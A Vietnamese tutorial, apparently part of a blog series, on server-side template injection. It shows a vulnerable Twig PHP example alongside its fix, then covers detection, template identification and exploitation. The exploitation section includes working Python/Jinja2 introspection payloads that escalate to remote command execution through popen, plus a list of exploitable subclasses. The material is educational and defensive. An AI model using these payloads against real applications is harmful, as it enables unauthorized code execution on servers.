II. SSTI trong các template và cách ngăn chặn (tiếp)
3. Template Twig trong PHP
Twig là một template engine cho PHP, được thiết kế để phân tách logic xử lý từ giao diện người dùng của ứng dụng. Twig cung cấp các cú pháp dễ đọc và dễ viết để tạo ra các template dynamic trong ứng dụng, cho phép tạo ra các trang web tương tác với người dùng một cách dễ dàng và linh hoạt hơn. Xét ví dụ như sau:
<?php require_once 'vendor/autoload.php'; $name = isset($_GET['name']) ? $_GET['name'] : 'World'; $templates = array( 'hello' => 'Hello '. $name, ); $loader = new \Twig\Loader\ArrayLoader($templates); $twig = new \Twig\Environment($loader); $output = $twig->render("hello"); echo $output;
?>
Đoạn mã trên lấy giá trị biến $name
từ input người dùng bằng phương thức GET, thêm vào biến $templates
và render ra giao diện. Dẫn tới lỗ hổng SSTI do quá trình render có thể thực thi các payload do kẻ tấn công gán vào giá trị biến $name
. Chẳng hạn, với input {{7*7}}
, sau khi render giao diện trả về kết quả :
Để ngăn chặn SSTI, lập trình viên nên thực hiện render template trước, sau đó mới thay thế giá trị các tham số vào output. Đoạn code sau đã được sửa và ngăn chặn hiệu quả:
<?php require_once 'vendor/autoload.php'; $name = isset($_GET['name']) ? $_GET['name'] : 'World'; $templates = array( 'hello' => 'Hello {{name}}', ); $loader = new \Twig\Loader\ArrayLoader($templates); $twig = new \Twig\Environment($loader); $output = $twig->render("hello", array('name' => $name)); echo $output;
?>
III. Khai thác lỗ hổng SSTI
Toàn bộ quá trình khai thác lỗ hổng SSTI tương đối phức tạp, bao gồm nhiều bước khác nhau. Chúng ta có thể nhìn tổng quan qua sơ đồ sau:
hình ảnh từ https://portswigger.net/
Cùng lần lượt tìm hiểu, phân tích ý tưởng thực hiện trong từng bước:
1. Detect - phát hiện
Detect luôn là hành động đầu tiên kẻ tấn công cần thực hiện để khai thác SSTI. Cần xác định ứng dụng có xảy ra lỗ hổng hay không, vị trí xảy ra lỗ hổng? Thông thường, với các vị trí hiển thị input người dùng ra giao diện sẽ tồn tại khả năng xảy ra lỗ hổng SSTI. Các payload được sử dụng để xác nhận lỗ hổng thường dựa trên các phép tính đơn giản (Chẳng hạn phép tính ), với cú pháp của từng template khác nhau.
Ví dụ với input {{7*7}}
, khi giao diện trả về kết quả của phép tính hay bất kỳ một chuỗi "kỳ lạ" nào khác không phải {{7*7}}
thì bạn có thể bước đầu xác định ứng dụng tồn tại lỗ hổng SSTI. Ví dụ cho thấy ứng dụng xảy ra lỗ hổng SSTI:
Ngoài ra, chúng ta cũng có thể phát hiện lỗ hổng SSTI với payload ${{<%[%'"}}%\.
theo trang PayloadsAllTheThings. Giao diện sẽ trả về kết quả error trong hầu hết mọi trường hợp template sử dụng:
2. Identify - Nhận dạng
Sau khi phát hiện khả năng ứng dụng xảy ra lỗ hổng SSTI, chúng ta cần thực hiện bước tiếp theo - Nhận dạng template được sử dụng. Việc xác định template đang hoạt động sẽ giúp chúng ta xây dựng payload tấn công hiểu quả. Từng template sẽ render thực thi input và trả về các kết quả khác nhau, dựa vào đặc trưng này chúng ta có thể xác định chính xác template đang được sử dụng. Bạn đọc có thể tham khảo sơ đồ thống kê với các template thông dụng:
hình ảnh từ https://portswigger.net/
Chúng ta có thể thử nhiều input để xác định, một số input thường dùng có thể kể đến như ${7*7}
, {{7*7}}
, {{7*'7'}}
, a{*comment*}b
, ... Ví dụ, với input {{7*'7'}}
, nếu kết quả trả về là 7777777
thì có thể xác định template đang sử dụng là Jinja2.
Cũng có thể sử dụng các input gây ra error cho ứng dụng nhằm thu thập thông tin template qua các thông báo lỗi. Các input dẫn đến error thường dùng: ${}
, {{}}
, <%= %>
, ${7/0}
, {{7/0}}
, <%= 7/0 %>
, ...
Ngoài ra có thể tự động hóa bằng công cụ như https://github.com/epinna/tplmap.
3. Exploit - Khai thác
Sau khi đã xác định template đang hoạt động của ứng dụng, chúng ta sẽ đến với bước khai thác. Chúng ta cần đưa ra các payload nhằm tìm kiếm, xác định các thông tin quan trọng. Bước này yêu cầu chúng ta cần nắm vững các khái niệm cơ bản, trong mục này tôi sử dụng Python làm ví dụ.
__class__
trả về lớp của đối tượng hiện tại. Ví dụ:
class Person: def __init__(self, name): self.name = name person = Person("Alice")
print(person.__class__) # Output: <class '__main__.Person'>
Trong tình huống ứng dụng không chứa cơ chế filter, chúng ta luôn có thể truy cập các đối tượng ''
, ()
, []
. Kết hợp với __class__
, chẳng hạn với payload ''.__class__
__bases__
cho phép truy cập tới lớp cha của đối tượng hiện tại. Ví dụ:
class Animal: def __init__(self, name): self.name = name class Dog(Animal): def __init__(self, name, breed): super().__init__(name) self.breed = breed dog = Dog("Buddy", "Golden Retriever")
print(dog.__class__.__bases__) # Output: (<class '__main__.Animal'>,)
Chúng ta cần truy cập đến lớp Object
trong ứng dụng - là lớp cha của các lớp str
, tuple
, list
. Chẳng hạn với payload ().__class__.__bases__
:
__subclasses__()
trả về danh sách các lớp con của đối tượng hiện tại. Ví dụ:
class Animal: def __init__(self, name): self.name = name class Dog(Animal): def __init__(self, name, breed): super().__init__(name) self.breed = breed class Cat(Animal): def __init__(self, name, color): super().__init__(name) self.color = color class Poodle(Dog): def __init__(self, name): super().__init__(name, "Poodle") print(Animal.__subclasses__()) # Output: [<class '__main__.Dog'>, <class '__main__.Cat'>]
Xem danh sách tất cả lớp con của lớp Object
trong ứng dụng. Payload ().__class__.__bases__[0].__subclasses__()
Đây là danh sách các lớp có thể tận dụng để xây dựng payload. Ví dụ chúng ta nhận thấy class os._wrap_close
có thể sử dụng:
Class này là phần tử có số thứ tự trong danh sách trên.
__init__
là phương thức khởi tạo lớp, ví dụ:
class Dog: def __init__(self, name, breed): self.name = name self.breed = breed dog = Dog("Buddy", "Golden Retriever")
print(dog.name) # Output: Buddy
print(dog.breed) # Output: Golden Retriever
Chúng ta thường sử dụng __init__
làm cơ sở gọi __globals__
.
__globals__
trả về tất cả module, phương thức, biến có thể sử dụng. Payload: ().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__
. Chúng ta đang cố gắng tìm kiếm các phương thức có thể tận dụng thực thi lệnh terminal, chẳng hạn phương thức popen
:
Lúc này chúng ta đã nâng mức độ ảnh hưởng lỗ hổng SSTI lên RCE, payload ().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('id').read()
Việc xây dựng payload có sự thay đổi trong từng trường hợp, với mỗi ứng dụng danh sách lớp con có thể tận dụng thường khác nhau. Dưới đây là một số subclasses thông dụng:
_frozen_importlib._ModuleLock
_frozen_importlib._DummyModuleLock
_frozen_importlib._ModuleLockManager
_frozen_importlib._installed_safely
_frozen_importlib.ModuleSpec
_frozen_importlib_external.FileLoader
_frozen_importlib_external._NamespacePath
_frozen_importlib_external._NamespaceLoader
_frozen_importlib_external.FileFinder
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
codecs.StreamRecoder
os._wrap_close
_sitebuiltins._Printer
types.DynamicClassAttribute
types._GeneratorWrapper
warnings.WarningMessage
warnings.catch_warnings
contextlib._GeneratorContextManagerBase
contextlib._BaseExitStack
Bạn đọc có thể luyện tập thực hiện một kịch bản tấn công khai thác lỗ hổng SSTI đầy đủ với bài lab Server-side template injection with a custom exploit.
Các tài liệu tham khảo
- https://portswigger.net/web-security/server-side-template-injection
- https://portswigger.net/research/server-side-template-injection
- https://twig.symfony.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection